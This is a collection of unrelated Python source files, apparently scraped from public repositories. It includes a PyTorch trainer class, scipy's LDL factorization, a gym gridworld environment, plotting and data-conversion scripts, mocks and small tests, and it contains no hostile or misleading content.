call :meth:`zero_grad` for optimizer. Called inside :meth:`step`. """ self._optimizer.zero_grad() def _do_iteration(self, batch: Dict[str, Any]) -> Dict[str, Any]: r""" Forward and backward passes on models, given a batch sampled from dataloader. Parameters ---------- batch: Dict[str, Any] A batch of training examples sampled from dataloader. See :func:`step` and :meth:`_cycle` on how this batch is sampled. Returns ------- Dict[str, Any] An output dictionary typically returned by the models. This would be passed to :meth:`_after_iteration` for tensorboard logging. """ # What a single iteration usually would look like. iteration_output_dict = self._models["model"](batch) batch_loss = iteration_output_dict["loss"].mean() batch_loss.backward() return {"loss": batch_loss} def _after_iteration(self, output_dict: Dict[str, Any]): r""" Steps to do after doing the forward pass of iteration. Default behavior is to simply do gradient update through ``optimizer.step()``, and log metrics to tensorboard. Parameters ---------- output_dict: Dict[str, Any] This is exactly the object returned by :meth:_do_iteration`, which would contain all the required losses for tensorboard logging. """ self._optimizer.step() # keys: {"loss"} + ... {other keys such as "elbo"} for key in output_dict: if isinstance(output_dict[key], dict): # Use ``add_scalars`` for dicts in a nested ``output_dict``. self._tensorboard_writer.add_scalars( f"train/{key}", output_dict[key], self._iteration ) else: # Use ``add_scalar`` for floats / zero-dim tensors in ``output_dict``. self._tensorboard_writer.add_scalar( f"train/{key}", output_dict[key], self._iteration ) def after_validation(self, val_metrics: Dict[str, Any], iteration: Optional[int] = None): r""" Steps to do after an external :class:`~probnmn.evaluators._evaluator._Evaluator` performs evaluation. This is not called by :meth:`step`, call it from outside at appropriate time. Default behavior is to perform learning rate scheduling, serializaing checkpoint and to log validation metrics to tensorboard. Since this implementation assumes a key ``"metric"`` in ``val_metrics``, it is convenient to set this key while overriding this method, when there are multiple models and multiple metrics and there is one metric which decides best checkpoint. Parameters ---------- val_metrics: Dict[str, Any] Validation metrics for all the models. Returned by ``evaluate`` method of :class:`~probnmn.evaluators._evaluator._Evaluator` (or its extended class). iteration: int, optional (default = None) Iteration number. If ``None``, use the internal :attr:`self._iteration` counter. """ if iteration is not None: self._iteration = iteration # Serialize model and optimizer and keep track of best checkpoint. self._checkpoint_manager.step(self._iteration, val_metrics["metric"]) # Perform learning rate scheduling based on validation perplexity. self._lr_scheduler.step(val_metrics["metric"]) # Log learning rate after scheduling. self._tensorboard_writer.add_scalar( "train/lr", self._optimizer.param_groups[0]["lr"], self._iteration ) # Log all validation metrics to tensorboard (pop the "metric" key, which was only relevant # to learning rate scheduling and checkpointing). val_metrics.pop("metric") for model_name in val_metrics: for metric_name in val_metrics[model_name]: self._tensorboard_writer.add_scalar( f"val/metrics/{model_name}/{metric_name}", val_metrics[model_name][metric_name], self._iteration, ) def load_checkpoint(self, checkpoint_path: str, iteration: Optional[int] = None): r""" Load a checkpoint to continue training from. The iteration when this checkpoint was serialized, is inferred from its name (so do not rename after serialization). Parameters ---------- checkpoint_path: str Path to a checkpoint containing models and optimizers of the phase which is being trained on. iteration: int, optional (default = None) Iteration number. If ``None``, get it from the checkpoint. """ _iteration = self._checkpoint_manager.load(checkpoint_path) # By default, the provided iteration overrides what is found in checkpoint. iteration = iteration or _iteration self._iteration = iteration def _cycle(self, dataloader: DataLoader) -> Generator[Dict[str, torch.Tensor], None, None]: r""" A generator which yields a random batch from dataloader perpetually. This generator is used in the constructor. Extended Summary ---------------- This is done so because we train for a fixed number of iterations, and do not have the notion of 'epochs'. Using ``itertools.cycle`` with dataloader is harmful and may cause unexpeced memory leaks. """ while True: for batch in dataloader: for key in batch: batch[key] = batch[key].to(self._device) yield batch @property def iteration(self): return self._iteration @property def models(self): return self._models

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02 laban data/lmadatagen/lmadatagen/Prettyplots.py

SMC7-2019/ASDF-RNN

4

1605453

<filename>02 laban data/lmadatagen/lmadatagen/Prettyplots.py #!/usr/bin/env python # coding: utf-8 # In[1]: import numpy as np import matplotlib.pyplot as plt from matplotlib.lines import Line2D # In[2]: joint_hier = [ ('head', 'neck', 'blue'), ('neck', 'root', 'darkred'), ('root', 'clavicle', 'brown'), ('neck', 'leftShoulder', 'red'), ('leftShoulder', 'leftElbow', 'darkred'), ('leftElbow', 'leftWrist', 'orange'), ('neck', 'rightShoulder', 'orange'), ('rightShoulder', 'rightElbow', 'lightgreen'), ('rightElbow', 'rightWrist', 'green'), ('clavicle', 'leftHip', 'green'), ('leftHip', 'leftKnee', 'lightgreen'), ('leftKnee', 'leftAnkle', 'lightblue'), ('clavicle', 'rightHip', 'lightblue'), ('rightHip', 'rightKnee', 'cyan'), ('rightKnee', 'rightAnkle', 'blue') ] # In[3]: def plt_keyframe_curve(ax, keyframes, curve): curve = curve / np.amax(curve) ax.plot(range(0, len(curve)), curve, 'r', alpha=0.9) ax.scatter(keyframes, curve[keyframes], color='k', marker="$F$") ax.set_xlim(0, len(curve)) ax.set_ylim(0.0, 1.2) ax.set(xlabel='Samples [fs=30]') ax.set(ylabel=r'Normalized angle $\theta$, $\theta$ $\epsilon$ [0, $\pi$]') ax.legend(['Curve', 'Keyframe']) # In[4]: def plt_keyframe_skeleton(ax, keyframes, positions, scale=200.): pos = positions pos['root'] = np.zeros_like(pos['head']) pos['neck'] = (pos['leftShoulder'] + pos['rightShoulder']) / 2. pos['clavicle'] = (pos['leftHip'] + pos['rightHip']) / 2. for frame in keyframes: lines = [] for f, t, c in joint_hier: p1 = pos[f][frame] p2 = pos[t][frame] x = [p1[0]*scale + frame, p2[0]*scale + frame] y = [p1[1], p2[1]] lines.append(Line2D(x, y, color=c)) ax.scatter(x, y, color=c, alpha=0.9) for l in lines: ax.add_line(l) ax.set_xlim(min(keyframes) - scale//10, max(keyframes) + scale//10) ax.set_ylim(scale, -scale) #ax.set_ylim(0.5*scale, -0.25*scale) ax.set_xticks(tuple(keyframes)) ax.set_xticklabels(keyframes) ax.set(xlabel='Keyframes') # In[ ]:

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Udemy/GeekUniversity/secao_4/ex2.py

SandboxGTASA/Python-1

0

65932

# Faça um programa que leia um numero real e imprima num_real = float(input('Entre com um numero real: ')) print(f'O numero real digitado foi: {num_real}')

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vespa/tests/test_fpp.py

timothydmorton/vespa

37

161417

<reponame>timothydmorton/vespa from __future__ import print_function, division import os, os.path import unittest import tempfile from vespa.fpp import FPPCalculation import pkg_resources ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__))) class TestFPP(unittest.TestCase): name = 'kepler-22' ini_file = 'fpp.ini' n = 200 recalc = True refit_trap = False cadence = 0.02 # should be what is in ini files def setUp(self): dirname = os.path.join(ROOT, self.name) self.f = FPPCalculation.from_ini(dirname, ini_file=self.ini_file, n=self.n, recalc=self.recalc, refit_trap=self.refit_trap) def test_cadence(self): for pop in self.f.modelnames: assert self.f[pop].cadence == self.cadence def test_fpp(self): fpp = self.f.FPP() assert fpp > 0 def test_bootstrap(self): h, lines = self.f.bootstrap_FPP(N=3) for line in lines: assert float(line.split()[-1]) > 0 class TestFPP_CC(TestFPP): ini_file = 'fpp_cc.ini' recalc= False class TestFPP_CC2(TestFPP): ini_file = 'fpp_cc2.ini' recalc = False # class TestFPP_cadence(TestFPP): # ini_file = 'fpp_cadence.ini' # cadence = 0.01 # should be same as in fpp_cadence.ini # def test_cadence(self): # for pop in self.f.modelnames: # assert self.f[pop].cadence == self.cadence

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scipy/linalg/_decomp_ldl.py

smola/scipy

2

195886

from __future__ import division, print_function, absolute_import from warnings import warn import numpy as np from numpy import (atleast_2d, ComplexWarning, arange, zeros_like, imag, diag, iscomplexobj, tril, triu, argsort, empty_like) from .decomp import _asarray_validated from .lapack import get_lapack_funcs, _compute_lwork __all__ = ['ldl'] def ldl(A, lower=True, hermitian=True, overwrite_a=False, check_finite=True): """ Computes the LDLt or Bunch-Kaufman factorization of a symmetric/ hermitian matrix. This function returns a block diagonal matrix D consisting blocks of size at most 2x2 and also a possibly permuted unit lower triangular matrix ``L`` such that the factorization ``A = L D L^H`` or ``A = L D L^T`` holds. If ``lower`` is False then (again possibly permuted) upper triangular matrices are returned as outer factors. The permutation array can be used to triangularize the outer factors simply by a row shuffle, i.e., ``lu[perm, :]`` is an upper/lower triangular matrix. This is also equivalent to multiplication with a permutation matrix ``P.dot(lu)``, where ``P`` is a column-permuted identity matrix ``I[:, perm]``. Depending on the value of the boolean ``lower``, only upper or lower triangular part of the input array is referenced. Hence, a triangular matrix on entry would give the same result as if the full matrix is supplied. Parameters ---------- a : array_like Square input array lower : bool, optional This switches between the lower and upper triangular outer factors of the factorization. Lower triangular (``lower=True``) is the default. hermitian : bool, optional For complex-valued arrays, this defines whether ``a = a.conj().T`` or ``a = a.T`` is assumed. For real-valued arrays, this switch has no effect. overwrite_a : bool, optional Allow overwriting data in ``a`` (may enhance performance). The default is False. check_finite : bool, optional Whether to check that the input matrices contain only finite numbers. Disabling may give a performance gain, but may result in problems (crashes, non-termination) if the inputs do contain infinities or NaNs. Returns ------- lu : ndarray The (possibly) permuted upper/lower triangular outer factor of the factorization. d : ndarray The block diagonal multiplier of the factorization. perm : ndarray The row-permutation index array that brings lu into triangular form. Raises ------ ValueError If input array is not square. ComplexWarning If a complex-valued array with nonzero imaginary parts on the diagonal is given and hermitian is set to True. Examples -------- Given an upper triangular array `a` that represents the full symmetric array with its entries, obtain `l`, 'd' and the permutation vector `perm`: >>> import numpy as np >>> from scipy.linalg import ldl >>> a = np.array([[2, -1, 3], [0, 2, 0], [0, 0, 1]]) >>> lu, d, perm = ldl(a, lower=0) # Use the upper part >>> lu array([[ 0. , 0. , 1. ], [ 0. , 1. , -0.5], [ 1. , 1. , 1.5]]) >>> d array([[-5. , 0. , 0. ], [ 0. , 1.5, 0. ], [ 0. , 0. , 2. ]]) >>> perm array([2, 1, 0]) >>> lu[perm, :] array([[ 1. , 1. , 1.5], [ 0. , 1. , -0.5], [ 0. , 0. , 1. ]]) >>> lu.dot(d).dot(lu.T) array([[ 2., -1., 3.], [-1., 2., 0.], [ 3., 0., 1.]]) Notes ----- This function uses ``?SYTRF`` routines for symmetric matrices and ``?HETRF`` routines for Hermitian matrices from LAPACK. See [1]_ for the algorithm details. Depending on the ``lower`` keyword value, only lower or upper triangular part of the input array is referenced. Moreover, this keyword also defines the structure of the outer factors of the factorization. .. versionadded:: 1.1.0 See also -------- cholesky, lu References ---------- .. [1] <NAME>, <NAME>, Some stable methods for calculating inertia and solving symmetric linear systems, Math. Comput. Vol.31, 1977. DOI: 10.2307/2005787 """ a = atleast_2d(_asarray_validated(A, check_finite=check_finite)) if a.shape[0] != a.shape[1]: raise ValueError('The input array "a" should be square.') # Return empty arrays for empty square input if a.size == 0: return empty_like(a), empty_like(a), np.array([], dtype=int) n = a.shape[0] r_or_c = complex if iscomplexobj(a) else float # Get the LAPACK routine if r_or_c is complex and hermitian: s, sl = 'hetrf', 'hetrf_lwork' if np.any(imag(diag(a))): warn('scipy.linalg.ldl():\nThe imaginary parts of the diagonal' 'are ignored. Use "hermitian=False" for factorization of' 'complex symmetric arrays.', ComplexWarning, stacklevel=2) else: s, sl = 'sytrf', 'sytrf_lwork' solver, solver_lwork = get_lapack_funcs((s, sl), (a,)) lwork = _compute_lwork(solver_lwork, n, lower=lower) ldu, piv, info = solver(a, lwork=lwork, lower=lower, overwrite_a=overwrite_a) if info < 0: raise ValueError('{} exited with the internal error "illegal value ' 'in argument number {}". See LAPACK documentation ' 'for the error codes.'.format(s.upper(), -info)) swap_arr, pivot_arr = _ldl_sanitize_ipiv(piv, lower=lower) d, lu = _ldl_get_d_and_l(ldu, pivot_arr, lower=lower, hermitian=hermitian) lu, perm = _ldl_construct_tri_factor(lu, swap_arr, pivot_arr, lower=lower) return lu, d, perm def _ldl_sanitize_ipiv(a, lower=True): """ This helper function takes the rather strangely encoded permutation array returned by the LAPACK routines ?(HE/SY)TRF and converts it into regularized permutation and diagonal pivot size format. Since FORTRAN uses 1-indexing and LAPACK uses different start points for upper and lower formats there are certain offsets in the indices used below. Let's assume a result where the matrix is 6x6 and there are two 2x2 and two 1x1 blocks reported by the routine. To ease the coding efforts, we still populate a 6-sized array and fill zeros as the following :: pivots = [2, 0, 2, 0, 1, 1] This denotes a diagonal matrix of the form :: [x x ] [x x ] [ x x ] [ x x ] [ x ] [ x] In other words, we write 2 when the 2x2 block is first encountered and automatically write 0 to the next entry and skip the next spin of the loop. Thus, a separate counter or array appends to keep track of block sizes are avoided. If needed, zeros can be filtered out later without losing the block structure. Parameters ---------- a : ndarray The permutation array ipiv returned by LAPACK lower : bool, optional The switch to select whether upper or lower triangle is chosen in the LAPACK call. Returns ------- swap_ : ndarray The array that defines the row/column swap operations. For example, if row two is swapped with row four, the result is [0, 3, 2, 3]. pivots : ndarray The array that defines the block diagonal structure as given above. """ n = a.size swap_ = arange(n) pivots = zeros_like(swap_, dtype=int) skip_2x2 = False # Some upper/lower dependent offset values # range (s)tart, r(e)nd, r(i)ncrement x, y, rs, re, ri = (1, 0, 0, n, 1) if lower else (-1, -1, n-1, -1, -1) for ind in range(rs, re, ri): # If previous spin belonged already to a 2x2 block if skip_2x2: skip_2x2 = False continue cur_val = a[ind] # do we have a 1x1 block or not? if cur_val > 0: if cur_val != ind+1: # Index value != array value --> permutation required swap_[ind] = swap_[cur_val-1] pivots[ind] = 1 # Not. elif cur_val < 0 and cur_val == a[ind+x]: # first neg entry of 2x2 block identifier if -cur_val != ind+2: # Index value != array value --> permutation required swap_[ind+x] = swap_[-cur_val-1] pivots[ind+y] = 2 skip_2x2 = True else: # Doesn't make sense, give up raise ValueError('While parsing the permutation array ' 'in "scipy.linalg.ldl", invalid entries ' 'found. The array syntax is invalid.') return swap_, pivots def _ldl_get_d_and_l(ldu, pivs, lower=True, hermitian=True): """ Helper function to extract the diagonal and triangular matrices for LDL.T factorization. Parameters ---------- ldu : ndarray The compact output returned by the LAPACK routing pivs : ndarray The sanitized array of {0, 1, 2} denoting the sizes of the pivots. For every 2 there is a succeeding 0. lower : bool, optional If set to False, upper triangular part is considered. hermitian : bool, optional If set to False a symmetric complex array is assumed. Returns ------- d : ndarray The block diagonal matrix. lu : ndarray The upper/lower triangular matrix """ is_c = iscomplexobj(ldu) d = diag(diag(ldu)) n = d.shape[0] blk_i = 0 # block index # row/column offsets for selecting sub-, super-diagonal x, y = (1, 0) if lower else (0, 1) lu = tril(ldu, -1) if lower else triu(ldu, 1) diag_inds = arange(n) lu[diag_inds, diag_inds] = 1 for blk in pivs[pivs != 0]: # increment the block index and check for 2s # if 2 then copy the off diagonals depending on uplo inc = blk_i + blk if blk == 2: d[blk_i+x, blk_i+y] = ldu[blk_i+x, blk_i+y] # If Hermitian matrix is factorized, the cross-offdiagonal element # should be conjugated. if is_c and hermitian: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y].conj() else: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y] lu[blk_i+x, blk_i+y] = 0. blk_i = inc return d, lu def _ldl_construct_tri_factor(lu, swap_vec, pivs, lower=True): """ Helper function to construct explicit outer factors of LDL factorization. If lower is True the permuted factors are multiplied as L(1)*L(2)*...*L(k). Otherwise, the permuted factors are multiplied as L(k)*...*L(2)*L(1). See LAPACK documentation for more details. Parameters ---------- lu : ndarray The triangular array that is extracted from LAPACK routine call with ones on the diagonals. swap_vec : ndarray The array that defines the row swapping indices. If the kth entry is m then rows k,m are swapped. Notice that the mth entry is not necessarily k to avoid undoing the swapping. pivs : ndarray The array that defines the block diagonal structure returned by _ldl_sanitize_ipiv(). lower : bool, optional The boolean to switch between lower and upper triangular structure. Returns ------- lu : ndarray The square outer factor which satisfies the L * D * L.T = A perm : ndarray The permutation vector that brings the lu to the triangular form Notes ----- Note that the original argument "lu" is overwritten. """ n = lu.shape[0] perm = arange(n) # Setup the reading order of the permutation matrix for upper/lower rs, re, ri = (n-1, -1, -1) if lower else (0, n, 1) for ind in range(rs, re, ri): s_ind = swap_vec[ind] if s_ind != ind: # Column start and end positions col_s = ind if lower else 0 col_e = n if lower else ind+1 # If we stumble upon a 2x2 block include both cols in the perm. if pivs[ind] == (0 if lower else 2): col_s += -1 if lower else 0 col_e += 0 if lower else 1 lu[[s_ind, ind], col_s:col_e] = lu[[ind, s_ind], col_s:col_e] perm[[s_ind, ind]] = perm[[ind, s_ind]] return lu, argsort(perm)

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my_funcs.py

IgorReshetnyak/Spectra

0

93851

<filename>my_funcs.py<gh_stars>0 #COPYRIGHT <NAME> 2016-2020 import math import numpy import time def broad_gauss(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad): data1[i]+=data[i1]*gauss(energies[i1],energies[i],broad) norm+=gauss(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_lorentz(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad): data1[i]+=data[i1]*lorentz(energies[i1],energies[i],broad) norm+=lorentz(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_dynamic(data,energies,broad): if len(data)!=len(energies) or len(broad)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5*broad[i]): data1[i]+=data[i1]*gauss(energies[i1],energies[i],broad[i]) norm+=gauss(energies[i1],energies[i],broad[i]) data1[i]=data1[i]/norm return data1 def gauss(x, mu, sigma): return (sigma * math.sqrt(2*math.pi))*math.exp(-1.0 / (2 * sigma * sigma) * (x - mu)*(x - mu)) def lorentz(x, mu, sigma): return (sigma /math.pi/2)*(1/((x-mu)*(x-mu)+sigma*sigma/4)) def printStage(txt): print txt print time.ctime() def eelsToEps(spectra): n=len(spectra) if n<1: exit() if n%2==1: n=n-1 im=spectra re=spectra re=numpy.fft.fft(re,n) re=-2.*re.imag/n re[0:n/2]=-re[0:n/2] re=numpy.fft.fft(re,n) re=re.real re=re[1:n] im=im[1:n] e1 = re / (re ** 2 + im ** 2) e2 = im / (re ** 2 + im ** 2) return e2

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examples/rotate/rotate.py

dbrainio/wrappa

11

144373

import numpy as np from wrappa import WrappaObject, WrappaImage class DSModel: def __init__(self, **kwargs): pass def predict(self, data, **kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses def predict_180(self, data, **kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) rotated_img = np.rot90(rotated_img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses

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gym_env/gridworld/gridworld_env.py

dkkim93/gumbel-rl-gridworld

4

124548

<reponame>dkkim93/gumbel-rl-gridworld import gym import numpy as np from gym import spaces class GridworldEnv(gym.Env): def __init__(self, row, col, n_action): super(GridworldEnv, self).__init__() self.row = row self.col = col self.target_loc = np.array([1, 0], dtype=np.uint16) self.observation_space = spaces.Box(low=-1., high=1., shape=(2,), dtype=np.float32) self.action_space = spaces.Discrete(n_action) def step(self, action): self._take_action(action) next_observation = self._get_normalize_loc() reward = 1 if np.array_equal(self.agent_loc, self.target_loc) is True else 0 done = True if np.array_equal(self.agent_loc, self.target_loc) is True else False return (next_observation, reward, done, {}) def reset(self): self._init_env() return self._get_normalize_loc() def render(self): raise NotImplementedError() def _init_env(self): self.agent_loc = np.array([0, self.col // 2], dtype=np.uint16) def _get_normalize_loc(self): normalized_loc = np.array([ self.agent_loc[0] / float(self.row), self.agent_loc[1] / float(self.col)]) return normalized_loc def _take_action(self, action): action = np.argmax(action) if action == 0: new_loc = self.agent_loc[0] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 1: new_loc = self.agent_loc[0] + 1 if new_loc >= self.row: new_loc = self.row - 1 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 2: new_loc = self.agent_loc[1] + 1 if new_loc >= self.col: new_loc = self.col - 1 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) elif action == 3: new_loc = self.agent_loc[1] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) else: raise ValueError("Wrong action")

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chapter2/wok/develop/examples/multiport/sum.py

chris-zen/phd-thesis

1

30523

<reponame>chris-zen/phd-thesis<filename>chapter2/wok/develop/examples/multiport/sum.py<gh_stars>1-10 from wok.task import task @task.main() def main(): values, count_port, sum_port = task.ports("x", "count", "sum") count = 0 sum = 0 for v in values: task.logger.info("value = {0}".format(v)) count += 1 sum += v task.logger.info("Sum of {0} numbers = {1}".format(count, sum)) count_port.send(count) sum_port.send(sum) task.run()

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csv_to_weighted_digraph.py

weberdc/socmed_repeatability

2

107171

<reponame>weberdc/socmed_repeatability #!/usr/bin/env python3 from __future__ import print_function from argparse import ArgumentParser import csv import networkx as nx import ntpath # https://stackoverflow.com/a/8384788 import os import sys class Options: def __init__(self): self.usage = 'csv_to_weighted_digraph.py -f <csvfilename> -s <srccol> -t <tgtcol> [-k <kindcol> -v -o <outdir>]' self._init_parser() def _init_parser(self): self.parser = ArgumentParser( #usage=self.usage, conflict_handler='resolve' ) self.parser.add_argument( '-v', '--verbose', action='store_true', default=False, dest='verbose', help='Turn on verbose logging (default: False)' ) self.parser.add_argument( '-h', '--header', action='store_true', default=False, dest='expect_header', help='Expect a header when reading the CSV file (default: False)' ) self.parser.add_argument( '--case-insensitive', action='store_true', default=False, dest='case_insensitive', help='Force string comparisons to be case-insensitive (default: False)' ) self.parser.add_argument( '-s', '--src-col', dest='src_col', required=True, type=int, help='Column for source nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-t', '--tgt-col', dest='tgt_col', required=True, type=int, help='Column for target nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-k', '--kind-col', default=None, dest='type_col', type=int, help='Column with link types (column index starts at 1)' ) self.parser.add_argument( '--src-type', dest='src_type', default='USER', help='Value for n_type property on source nodes (default: USER)' ) self.parser.add_argument( '--tgt-type', dest='tgt_type', default='USER', help='Value for n_type property on target nodes (default: USER)' ) self.parser.add_argument( '-f', '--csvfile', dest='csv_file', required=True, help='CSV filename to read' ) self.parser.add_argument( '-o', '--out-file', dest='out_file', default=None, required=False, help='Filename to which to write output (default <infile-".csv">.graphml)' ) def parse(self, args=None): return self.parser.parse_args(args) def extract_parent_dir(filepath, default_dir='./'): if not filepath: return default_dir return os.path.abspath(os.path.join(filepath, os.pardir)) def extract_filename(filepath, default_name='UNKNOWN.txt'): if not filepath: return default_name head, tail = ntpath.split(filepath) filename = tail or ntpath.basename(head) return os.path.splitext(filename)[0] def eprint(*args, **kwargs): """Print to stderr""" print(*args, file=sys.stderr, **kwargs) DEBUG=False def log(msg): if DEBUG: eprint(msg) if __name__=='__main__': options = Options() opts = options.parse(sys.argv[1:]) DEBUG=opts.verbose log('Inspecting CSV file %s' % opts.csv_file) csv_file = opts.csv_file src_col = opts.src_col - 1 tgt_col = opts.tgt_col - 1 type_col = opts.type_col - 1 out_file = opts.out_file header = opts.expect_header src_type = opts.src_type tgt_type = opts.tgt_type ci = opts.case_insensitive g = nx.DiGraph() with open(csv_file, encoding='utf-8') as f: csv_reader = csv.reader(f, delimiter=',') # handles URLs with commas line_count = 0 for row in csv_reader: # print('linecount: %d, header: %s' % (line_count, header)) line_count += 1 if line_count == 1 and header: continue src = row[src_col] tgt = row[tgt_col] e_t = row[type_col] if ci: src = src.lower() tgt = tgt.lower() if g.has_edge(src, tgt): g[src][tgt]['weight'] += 1.0 else: if not g.has_node(src): g.add_node(src, label=src, n_type=src_type) if not g.has_node(tgt): g.add_node(tgt, label=tgt, n_type=tgt_type) g.add_edge(src, tgt, weight=1.0, e_type=e_t) line_count += 1 if not out_file: out_file = os.path.join(out_dir, '%s.graphml' % extract_filename(csv_file)) parent_dir = extract_parent_dir(out_file) if not os.path.exists(parent_dir): os.mkdir(parent_dir) nx.write_graphml(g, out_file) log('Wrote graph to %s' % out_file)

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test_utils/mocks.py

radomd92/botjagwar

7

10422

from xml.dom import minidom import pywikibot from api.decorator import time_this SiteMock = pywikibot.Site class PageMock(pywikibot.Page): def __init__(self, *args, **kwargs): super(PageMock, self).__init__(*args, **kwargs) self.filename = "test_data/test_pages_%s.xml" % self.site.lang self.parsed = minidom.parse(open(self.filename, 'r')) self.pages = self.parsed.getElementsByTagName('page') def put(self, newtext, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, **kwargs): print(('Saving page [[%s]] through put' % self.title())) def save(self, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, apply_cosmetic_changes=None, quiet=False, **kwargs): print(('Saving page [[%s]] through save' % self.title())) def _save(self, summary=None, watch=None, minor=True, botflag=None, cc=None, quiet=False, **kwargs): print(('Saving page [[%s]] through save' % self.title())) @time_this('Page.get() method mock') def get(self, force=False, get_redirect=False, sysop=False): for page in self.pages: xml_title = page.getElementsByTagName( 'title')[0].childNodes[0].nodeValue if xml_title == self.title(): return page.getElementsByTagName( 'text')[0].childNodes[0].nodeValue print(('No page %s found in "%s"' % (self.title(), self.filename))) return '' p = PageMock(SiteMock('en', 'wiktionary'), 'gaon') e = p.get()

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openhgnn/dataset/RecommendationDataset.py

zsy0828/OpenHGNN

0

193753

<reponame>zsy0828/OpenHGNN<filename>openhgnn/dataset/RecommendationDataset.py<gh_stars>0 import dgl import torch as th from . import BaseDataset, register_dataset from dgl.data.utils import load_graphs @register_dataset('recommendation') class RecommendationDataset(BaseDataset): """ """ def __init__(self,): super(RecommendationDataset, self).__init__() @register_dataset('test_link_prediction') class Test_Recommendation(RecommendationDataset): def __init__(self, dataset_name): super(RecommendationDataset, self).__init__() self.g = self.load_HIN('./openhgnn/debug/data.bin') self.target_link = 'user-item' self.has_feature = False self.preprocess() #self.generate_negative() def load_HIN(self, dataset_name): g, _ = load_graphs(dataset_name) return g[0] def preprocess(self): test_mask = self.g.edges[self.target_link].data['test_mask'] index = th.nonzero(test_mask).squeeze() self.test_edge = self.g.find_edges(index, self.target_link) self.pos_test_graph = dgl.heterograph({('user', 'user-item', 'item'): self.test_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) self.g.remove_edges(index, self.target_link) self.g.remove_edges(index, 'item-user') self.neg_test_graph, _ = dgl.load_graphs('./openhgnn/debug/neg.bin') self.neg_test_graph = self.neg_test_graph[0] return def generate_negative(self): k = 99 e = self.pos_test_graph.edges() neg_src = [] neg_dst = [] for i in range(self.pos_test_graph.number_of_edges()): src = e[0][i] exp = self.pos_test_graph.successors(src) dst = th.randint(high=self.g.number_of_nodes('item'), size=(k,)) for d in range(len(dst)): while dst[d] in exp: dst[d] = th.randint(high=self.g.number_of_nodes('item'), size=(1,)) src = src.repeat_interleave(k) neg_src.append(src) neg_dst.append(dst) neg_edge = (th.cat(neg_src), th.cat(neg_dst)) neg_graph = dgl.heterograph({('user', 'user-item', 'item'): neg_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) dgl.save_graphs('./openhgnn/debug/neg.bin', neg_graph)

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06/LaborSupplyModel.py

AskerNC/lectures-2021

9

50042

<filename>06/LaborSupplyModel.py import numpy as np from scipy import optimize def implied_tax(l,w,tau0,tau1,kappa): """ calculate implied tax of labor supply choice Args: l (float): labor supply w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): total tax bill """ return tau0*w*l + tau1*np.fmax(w*l-kappa,0) def implied_c(l,m,w,tau0,tau1,kappa): """ calculate implied optimal consumption of labor supply choice Args: l (float): labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): consumption """ return m + w*l - implied_tax(l,w,tau0,tau1,kappa) def utility(c,l,nu,frisch): """ utility of consumption and labor supply decision Args: c (float): consumption l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply Returns: (float): utility """ return np.log(c) - nu*l**(1+1/frisch)/(1+1/frisch) def value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa): """ calculate implied utlity of consumption and labor supply choice Args: l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ c = implied_c(l,m,w,tau0,tau1,kappa) return utility(c,l,nu,frisch) def find_optimal_labor_supply(nu,frisch,m,w,tau0,tau1,kappa): """ find optimal labor supply choice Args: nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ obj = lambda l: -value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa) res = optimize.minimize_scalar(obj,bounds=(1e-8,1),method='bounded') return res.x

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tests/utils/test_in_memory_zip.py

goldworm-icon/gw-iconsdk

2

112694

# -*- coding: utf-8 -*- import os from icon.utils.in_memory_zip import InMemoryZip def test_in_memory_zip(): parent_path: str = os.path.dirname(__file__) path: str = os.path.join(parent_path, "data_to_zip") mem_zip = InMemoryZip() mem_zip.run(path) with open("data.zip", "wb") as f: f.write(mem_zip.data)

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examplecms/urls.py

nacady/django-publish

0

108105

